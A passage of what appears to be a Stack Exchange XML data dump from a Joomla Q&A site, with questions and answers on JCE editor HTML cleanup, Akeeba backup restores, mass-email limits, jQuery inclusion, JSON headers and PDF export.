Work&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we want to use id instead of name for our anchor, because it's valid under HTML5, whereas name technically is not. Also, in what universe is id an invalid assignment to a link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, now that it's totally legit to wrap a div with links, why would JCE strip those out as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this just a setting I'm missing? Does anyone have any insight into how I can use the editor so that we can code as we need in the editor, but our clients can't wreck it simply by saving in wysiwyg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've tested this in chrome, firefox and safari. Don't think it's got anything to do with the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've tested this with the container settings. Both Paragraph Container &amp;amp; Paragraph on Enter and Div Container &amp;amp; Div on enter cause this. The other two, No container &amp;amp; Paragraph on enter, No Container &amp;amp; linebreak on enter, do not cause it. Problem is - I need the first setting! As much as it would be great to give clients the benefit of the doubt, they simply can't be trusted to follow instructions and add paragraph formatting to their text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirmed: This also happens with TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - we know what causes this - the Paragraph Container setting - now how do we get around it while keeping that setting alive? &lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="126" LastEditDate="2014-08-14T10:55:11.603" LastActivityDate="2014-08-14T10:55:11.603" Title="JCE / TinyMCE - Keeps attempting to Fix Valid &amp; Invalid HTML" Tags="|jce|editor|tinymce|" AnswerCount="4" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1106" PostTypeId="2" ParentId="1105" CreationDate="2014-06-03T07:42:03.303" Score="1" Body="&lt;p&gt;I think it must be the typography settings in: &lt;strong&gt;Profile -&gt; Editor Parameters -&gt; Typography&lt;/strong&gt;.&#xA;Try to set the Container Element &amp;amp; Enter Key to NoContainer &amp;amp; LineBreak on Enter to see if it still applies any changes to your html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember that HTML Validation setting has setting for each Editor profile and that Joomla also provides a global filter in the global configuration page set by usergroup. Make sure there are no settings there for each usergroup.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-06-03T16:27:10.707" LastActivityDate="2014-06-03T16:27:10.707" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1107" PostTypeId="2" ParentId="1105" CreationDate="2014-06-03T12:55:28.860" Score="0" Body="&lt;p&gt;This behaviour isn't unique to JCE.  TinyMCE behaves the same way.  This behaviour may not be limited to TinyMCE, it could be a browser DOM behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE actually goes to the trouble of trying to keep some empty tags, the method employed is to pad with a space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/widgetfactory/jce-editor/blob/master/editor/tiny_mce/plugins/cleanup/editor_plugin.js&quot; rel=&quot;nofollow&quot;&gt;https://github.com/widgetfactory/jce-editor/blob/master/editor/tiny_mce/plugins/cleanup/editor_plugin.js&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-06-03T12:55:28.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1108" PostTypeId="1" AcceptedAnswerId="1135" CreationDate="2014-06-03T13:34:55.753" Score="2" ViewCount="199" Body="&lt;p&gt;With J3x having jQuery included, half the battle of easily including Themeroller is taken care of, but I still have problems getting the Themeroller aspect to work properly.  I've found that adding the script tag &quot;somewhere&quot; usually works, but where that script tag goes seems to vary - rendering the widgets broken unless it's &quot;just before this, or just after that&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a Joomla-Correct way of adding Themeroller and all of it's widgets properly to a component?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-20T15:28:48.930" Title="How to best include jQuery Themeroller in an extension?" Tags="|joomla-3.x|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1110" PostTypeId="1" AcceptedAnswerId="1111" CreationDate="2014-06-03T15:37:21.473" Score="0" ViewCount="467" Body="&lt;p&gt;I have a website's Backup which I had made about three months ago. This is a Joomla 3.2 version backup made with the Extension Akeeba Backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Question is how can I restore this when my current Joomla stable website is of version 3.3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched it over internet but could not find any good links.&#xA;Please give some steps which would give me an idea of this process.&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="126" LastEditDate="2015-12-02T08:10:27.477" LastActivityDate="2015-12-02T08:10:27.477" Title="How should I use backup to restore the previous version of my website" Tags="|joomla-3.x|administration|akeebabackup|backups|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1111" PostTypeId="2" ParentId="1110" CreationDate="2014-06-03T16:54:55.760" Score="2" Body="&lt;p&gt;If your current site is damaged but you don't want to lose any data, then you've got a long road ahead of you. You really need to provide more detail as to what you want to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you just need to restore the old one and then upgrade it, use Akeeba Kickstart on your server to restore the backup.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move your live site into a subfolder&lt;/li&gt;&#xA;&lt;li&gt;Copy the .jpa file from the old backup into your top level of your site&lt;/li&gt;&#xA;&lt;li&gt;Upload akeeba kickstart. You really only need the kickstart.php file, the jquery and json files and the language file for the language you're using. &lt;a href=&quot;https://www.akeebabackup.com/download.html&quot; rel=&quot;nofollow&quot;&gt;You can get it here.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run kickstart and restore your site-BUT...&lt;/li&gt;&#xA;&lt;li&gt;If you don't want to lose the 3.3 database, create a new database and restore the backup into a new db instead of replacing the old one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-03T16:54:55.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1112" PostTypeId="2" ParentId="1110" CreationDate="2014-06-03T16:56:26.583" Score="1" Body="&lt;p&gt;Use Akeeba Kickstart:&#xA;&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/products/akeeba-kickstart.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create new database in cPanel&lt;/li&gt;&#xA;&lt;li&gt;Upload kickstart.php to where you want to restore site.&lt;/li&gt;&#xA;&lt;li&gt;Go to URL (&lt;a href=&quot;http://www.mywebsite.com/kickstart.php&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.com/kickstart.php&lt;/a&gt;) and follow the prompts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-06-03T16:56:26.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1113" PostTypeId="2" ParentId="1105" CreationDate="2014-06-03T17:01:33.320" Score="2" Body="&lt;p&gt;There are some secret settings for JCE.&#xA;I know the following setting stops &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; being added to empty divs, maybe used to clear floats, which causes line-height issues when rendered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In the Editor Global Configuration, add:&#xA;remove_div_padding:1 &#xA;to Custom Configuration Variables. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would expect there are more that can control any aspect of the editor.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2014-06-03T19:50:16.660" LastActivityDate="2014-06-03T19:50:16.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1114" PostTypeId="2" ParentId="1105" CreationDate="2014-06-03T17:06:25.910" Score="7" Body="&lt;p&gt;I use JCE Editor on all our sites, but we have started also installing Sourcerer by NoNumbers.  This gives an easy INSERT CODE button to the JCE editor that protects it from being modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-06-03T17:06:25.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1115" PostTypeId="2" ParentId="1108" CreationDate="2014-06-03T17:09:49.367" Score="1" Body="&lt;p&gt;To ensure the JS library will be loaded with your component, you need to include it in your component's view. &#xA;Something like this in your view.html.php or the template file should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will include jQuery in noConflict Mode. It also ensures that the framework will be loaded only once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load jQuery in Normal mode, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You want your js loaded on the view part of your component, so this is the place to add it. So after including any required frameworks, you also include any other js and css on the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add to this, and depending on how you like to do things or if there is any other reason, you could create a helper file with your own class and methods, that on call, it will decide what js/css files to add, based on each condition.&#xA;You can also consider to use the media folder as the location of your js/css.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScript(JURI::root(true).'/media/com_component/js/myscript.js');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow&quot;&gt;Joomla: Adding JS - Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-06-03T19:29:19.473" LastActivityDate="2014-06-03T19:29:19.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1116" PostTypeId="1" AcceptedAnswerId="1117" CreationDate="2014-06-03T17:42:01.330" Score="1" ViewCount="1060" Body="&lt;p&gt;We have a client who would like users to be able to send a mass email to other registered users on the site. We have got this working perfect using Joomla's &lt;code&gt;JMail&lt;/code&gt; class which gets all users' email addresses from the database and sets it as the recipient. The problem being is that the server the site is currently hosted on only allows 40 recipients per email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving to a new server &lt;strong&gt;is&lt;/strong&gt; an option but firstly I would like to know if there is any way of dealing with the email the same way SMTP work which is, it keeps trying to send the email every time it fails, until it is successfully sent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the Joomla API but the SMTP method uses the settings from the global configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please enlighten me as the best way to approach this issue?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-06-04T00:04:17.077" LastActivityDate="2014-06-04T00:04:17.077" Title="Mass emailing - maximum recipients problem" Tags="|joomla-2.5|emails|smtp|jmail|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1117" PostTypeId="2" ParentId="1116" CreationDate="2014-06-03T19:09:30.503" Score="6" Body="&lt;p&gt;If it were me, I'd do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sign up for Mandrill (made by the MailChimp people). You get the first 12,000 message for free. Sign up here: &lt;a href=&quot;https://mandrill.com&quot;&gt;https://mandrill.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Get the CMandrill component from CompoJoom for free. Get it here: &lt;a href=&quot;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&quot;&gt;CMandrill&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Follow all the CMandrill instructions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It bypasses the entire Joomla mail system and sends everything through Mandrill. At 12k messages a month, it likely won't ever cost you anything. I use this on several sites and it's great. You can even set up templates and brand all your emails without hacking the language files in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use something like ACY with Mandrill if you wanted to do fancy eblasts.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-03T19:09:30.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1118" PostTypeId="2" ParentId="1110" CreationDate="2014-06-03T21:39:58.150" Score="1" Body="&lt;p&gt;If the backup is 3 months old then you are going to lose 3 months of data, a &quot;backup&quot; is basically a snapshot of the site at the time it was made, typically weekly backups are a norm because in the worst case you have lost 1 week worth of data. Daily are the best but can be costly in server space to keep enough of them to be &quot;safe&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So YellowWebMonkey goes into using Akeeba kickstart, that will restore the site to that backup but you will lose everything else in the last 3 months, this is the only option to &quot;restore&quot; if that is the only backup you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any sort of programming background or know someone who does you can &quot;fix&quot; the current site to get it working again, then speed up your backup rate to prevent a situation like this coming up again. This can be a lot of work but in some cases is the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you clarify on what is wrong with the current site, there is a possibility we can help with that.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-03T21:39:58.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1119" PostTypeId="1" AcceptedAnswerId="1122" CreationDate="2014-06-04T02:17:41.057" Score="2" ViewCount="274" Body="&lt;p&gt;I need to do some third party extension updates on most or all of the Joomla websites I look after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering when the next Joomla updates (i.e. Joomla 2.5.21 and Joomla 3.3.1) are planned to be released as I could easily wait a few days, if a Joomla release is imminent, and do the Joomla updates at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an official page or a forum or similar where I can find this out?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-06-04T03:08:54.843" LastActivityDate="2014-06-04T06:33:32.580" Title="Where can I find Joomla upcoming release dates?" Tags="|cms|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1120" PostTypeId="2" ParentId="1119" CreationDate="2014-06-04T02:40:09.023" Score="1" Body="&lt;p&gt;Future updates of Joomla will be on these dates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;V. 3.4 -&gt; July 2014&lt;/li&gt;&#xA;&lt;li&gt;V. 3.5 -&gt; 2014-09&lt;/li&gt;&#xA;&lt;li&gt;V. 3.11 -&gt; (Fall 2015)&lt;/li&gt;&#xA;&lt;li&gt;V. 4.0 -&gt; 2015-03&lt;/li&gt;&#xA;&lt;li&gt;V. 4.1 -&gt; 2015-09&lt;/li&gt;&#xA;&lt;li&gt;V. 4.2 -&gt; 2016-03&lt;/li&gt;&#xA;&lt;li&gt;V. 4.5 -&gt; 2016-09&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can see dates and estimates of future updates of Joomla on these links:&#xA;&lt;a href=&quot;http://docs.joomla.org/Joomla!_CMS_versions&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Joomla!_CMS_versions&lt;/a&gt;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Joomla#Version_history&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Joomla#Version_history&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-06-04T02:40:09.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1121" PostTypeId="2" ParentId="1110" CreationDate="2014-06-04T03:04:29.257" Score="0" Body="&lt;p&gt;You should restore your back up to a new database and location, then use Akeeba Site Diff to merge changes between the two sites so you don't lose any outdated data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-sitediff.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/products/akeeba-sitediff.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-06-04T03:04:29.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1122" PostTypeId="2" ParentId="1119" CreationDate="2014-06-04T06:33:32.580" Score="3" Body="&lt;p&gt;There is the official roadmap which is posted at &lt;a href=&quot;http://developer.joomla.org/cms/roadmap.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.joomla.org/cms/roadmap.html&lt;/a&gt;.&#xA;It gives you the broad picture at which month the minor releases are going to be released&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for patch releases, they are released &quot;as needed&quot;. Best bet is to monitor the google groups like &lt;a href=&quot;https://groups.google.com/forum/#!forum/joomla-dev-cms&quot; rel=&quot;nofollow&quot;&gt;https://groups.google.com/forum/#!forum/joomla-dev-cms&lt;/a&gt;. Usually something is posted there when we're going to prepare a release. Like currently languages haven been freezed to prepare the release of 3.3.1 / 2.5.21.&#xA;Other than that, there is not really an announcement for those patch releases.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-04T06:33:32.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1123" PostTypeId="1" CreationDate="2014-06-04T10:00:59.880" Score="3" ViewCount="408" Body="&lt;p&gt;I'm looking for a little bit of advice about this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing an ecommerce component and I need to do some sales charts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen that some developers use the jqplot library and others use Google Chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any experience on this or can advise me, please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2014-06-04T13:00:55.947" Title="Chart library for backend" Tags="|jquery|e-commerce|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1124" PostTypeId="2" ParentId="1123" CreationDate="2014-06-04T12:10:07.753" Score="4" Body="&lt;p&gt;&lt;strong&gt;Google Charts&lt;/strong&gt; is plain simple, and you don't add Kbytes to your download. I've implemented Google Charts to fill chart requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jqPlot library&lt;/strong&gt; (and similar libraries) provides a better feature set, and you can also customize advanced features, but you have to manage the full installation (version, size, etc).&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-04T12:10:07.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1125" PostTypeId="2" ParentId="1123" CreationDate="2014-06-04T13:00:55.947" Score="1" Body="&lt;p&gt;Rocket theme has been adding Chart.js to their templates lately, it looks pretty slick:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chartjs.org&quot; rel=&quot;nofollow&quot;&gt;http://www.chartjs.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a programmer though, so I don't know how it differs from the other options, but it sure looks nice.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-06-04T13:00:55.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1126" PostTypeId="1" AcceptedAnswerId="1153" CreationDate="2014-06-04T17:11:23.000" Score="11" ViewCount="2249" Body="&lt;p&gt;I have started building a web application using the &lt;a href=&quot;http://framework.joomla.org/&quot;&gt;Joomla Framework&lt;/a&gt;. It consists of a simple web page which will be displayed in an iFrame along with an API that will be used to update the content with AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the &lt;a href=&quot;http://magazine.joomla.org/issues/issue-aug-2013/item/1450-getting-started-with-composer-and-joomla&quot;&gt;Getting Started with Composer and Joomla!&lt;/a&gt; article and have the &lt;a href=&quot;https://github.com/dbhurley/framework-app&quot;&gt;Framework App&lt;/a&gt; up and running. I have customised the default HTML output to work for my iFrame and have made a start on the API. I used News as a template and created a controller, model, table and view for my API which all works great. I then created a very simple Twig template which returns a JSON representation of my data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{{ items|json_encode|raw }}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good but I get this header returned which will cause problems when using AJAX with jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Content-Type:text/html; charset=utf-8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought it would be a simple case of adding this but no matter where I put it, it doesn't change the header that is returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;setHeader('Content-Type', 'application/json', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that setHeader is working as if I change the name, I see the new header returned so I assume that it is being overwritten later in the execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, am I going about this the right way? My view extends DefaultHtmlView which feels wrong, should I create a DefaultJsonView? How can I set the correct Content-Type or is there a better approach for returning JSON?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help of advice that can be given about the best way to use the Joomla Framework to build an API will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="218" LastActivityDate="2022-07-23T00:43:00.807" Title="Return JSON using the Joomla Framework" Tags="|joomla-api|ajax|joomla-framework-1.x|jquery|header|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1127" PostTypeId="2" ParentId="1126" CreationDate="2014-06-04T18:08:26.413" Score="4" Body="&lt;p&gt;Took a little digging but I see the issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla-framework/application/blob/master/src/AbstractWebApplication.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla-framework/application/blob/master/src/AbstractWebApplication.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the setHeader function it does not actually set the header yet, it only gets it &quot;ready&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you need to do is simple&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;setHeader('Content-Type', 'application/json', true)-&amp;gt;sendHeaders();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra function &lt;code&gt;sendHeaders()&lt;/code&gt; can be chained to allow you to set the headers, not just &quot;prepare&quot; them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With most likely using &lt;code&gt;exit;&lt;/code&gt; to prevent any further execution and output the JSON the sendHeaders function is most likely not running.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-04T18:08:26.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1128" PostTypeId="1" AcceptedAnswerId="1136" CreationDate="2014-06-05T06:50:54.100" Score="9" ViewCount="8463" Body="&lt;p&gt;I have noticed, that in Joomla 1.5 there was a PDF icon that could be shown next to the print end email icons  above the articles, but in Joomla 3.x it is not there any more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been searching for an extension for this but so far without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some advice on this?&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="159" LastEditDate="2014-06-05T10:16:04.400" LastActivityDate="2018-06-08T14:25:47.790" Title="Export article as PDF" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1129" PostTypeId="1" AcceptedAnswerId="1130" CreationDate="2014-06-05T06:58:25.033" Score="2" ViewCount="2260" Body="&lt;p&gt;I'm working on my MVSC implementation. I'm planning on adding a function called &lt;code&gt;getParams()&lt;/code&gt; to my base view, so that I don't have to keep merging item, menu, and component params before rendering the view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up until know I've been using &lt;code&gt;JFactory::getApplication()-&amp;gt;getParams();&lt;/code&gt; which gets the active menu params.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to look at the implementation and maybe avoid having to use the application if there was already a dedicated class, but I can't find any mention of &lt;code&gt;getParams()&lt;/code&gt; in any of the JApplication classes (J3.3.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only assume that it is late static binding, but does anyone know where this method is attached to the application?&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="12352" LastEditDate="2018-04-06T11:47:33.747" LastActivityDate="2018-04-06T11:47:33.747" Title="Does anyone know where JFactory::getApplication()-&gt;getParams() is declared?" Tags="|development|joomla-api|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1130" PostTypeId="2" ParentId="1129" CreationDate="2014-06-05T07:17:43.493" Score="4" Body="&lt;p&gt;It is in the file &lt;em&gt;libraries/cms/application/site.php&lt;/em&gt;. The administrator (back end) file has no such function specified.&lt;/p&gt;&#xA;" OwnerUserId="56" LastEditorUserId="56" LastEditDate="2014-06-05T07:28:00.937" LastActivityDate="2014-06-05T07:28:00.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1131" PostTypeId="2" ParentId="991" CreationDate="2014-06-05T07:23:18.633" Score="0" Body="&lt;p&gt;Is it on the admin side or on the front end?&#xA;Like for examaple you wanna insert one extra filed after selecting the menu item type on the admin site, this is what you need tot do:&#xA;Edit the default.xml in :/components/com_yourcomponent/views/folios/tmpl/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA; &amp;lt;metadata&amp;gt;&#xA; &amp;lt;layout title=&quot;com_folio_folios_view_default_title&quot; option=&quot;com_&#xA; folio_folios_view_default_option&quot;&amp;gt;&#xA;  &amp;lt;message&amp;gt;&#xA;  &amp;lt;![CDATA[com_folio_folios_view_default_desc]]&amp;gt;&#xA;  &amp;lt;/message&amp;gt;&#xA; &amp;lt;/layout&amp;gt;&#xA; &amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;   &amp;lt;field&#xA;    name=&quot;catid&quot;&#xA;     type=&quot;category&quot;&#xA;     extension=&quot;com_folio&quot;&#xA;     class=&quot;inputbox&quot;&#xA;     default=&quot;&quot;&#xA;     label=&quot;COM_FOLIO_FIELD_CATID_LABEL&quot;&#xA;     description=&quot;COM_FOLIO_FIELD_CATID_DESC&quot;&#xA;     required=&quot;true&quot;&#xA;    &amp;gt;&#xA;   &amp;lt;option value=&quot;0&quot;&amp;gt;JOPTION_SELECT_CATEGORY&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/field&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA; &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one will insert a category selector after selecting your component from the popup window of your menu type.&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="417" LastEditDate="2014-06-05T08:14:13.973" LastActivityDate="2014-06-05T08:14:13.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1132" PostTypeId="1" AcceptedAnswerId="1134" CreationDate="2014-06-05T07:27:39.920" Score="5" ViewCount="1200" Body="&lt;p&gt;I've made a finder plugin which creates router links to my component. If there is no menu link available (especially when the found item is in a subcategory) the route of the item in the finder plugin has the ItemId of the start (home) page. The problem is that I've enabled a module on the start page. If somebody does now a search on that site and clicks on the found item the module will be shown, but I want to hide it. An example can be found here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.digital-peak.com/component/finder/search?q=google&amp;amp;Itemid=1098&quot; rel=&quot;nofollow&quot;&gt;https://joomla.digital-peak.com/component/finder/search?q=google&amp;amp;Itemid=1098&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to define in the module parameters that it should be shown only when it is on the Home_Root and no path is specified?&lt;/p&gt;&#xA;" OwnerUserId="56" LastEditorUserId="1629" LastEditDate="2014-07-31T15:14:44.060" LastActivityDate="2015-09-23T10:49:10.500" Title="Show module only on the start page" Tags="|module|smartsearch|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1133" PostTypeId="2" ParentId="1128" CreationDate="2014-06-05T07:49:46.200" Score="4" Body="&lt;p&gt;The PDF icon has been removed since Joomla 1.6.&#xA;As an alternative you can use a 3rd party extension, have a look &lt;a href=&quot;http://extensions.joomla.org/extensions/directory-a-documentation/print-a-pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-05T07:49:46.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
